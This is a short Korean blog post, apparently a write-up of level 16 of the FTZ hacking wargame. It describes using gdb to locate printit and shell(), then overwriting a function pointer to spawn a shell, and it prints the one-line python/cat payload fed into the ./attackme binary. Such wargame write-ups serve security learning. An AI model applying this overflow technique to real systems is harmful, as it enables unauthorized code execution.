
코드는 다음과 같다.
함수 포인터가 printit 함수를 호출하는데
이를 shell이 호출하게 하면 쉘을 얻을 수 있다.

gdb로 분석을 해봤을때
printit의 주소가 80496e8인 것같다.
아마 shell()함수도 주변에 있을듯 하여
이를 찾아보았다.


다음과 같이 검색하여 shell의 위치도 찾을 수 있었다.
(python -c 'print "\x90"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme
이전과 같은 방식으로 shell()함수의 위치를 덮어 씌워줬다.

'정보보안 > FTZ' 카테고리의 다른 글
[FTZ]level18 (0) | 2022.07.31 |
---|---|
[FTZ]level17 (0) | 2022.07.25 |
[FTZ]level15 (0) | 2022.07.25 |
[FTZ]level14 (0) | 2022.07.23 |
[FTZ]level13 (0) | 2022.07.22 |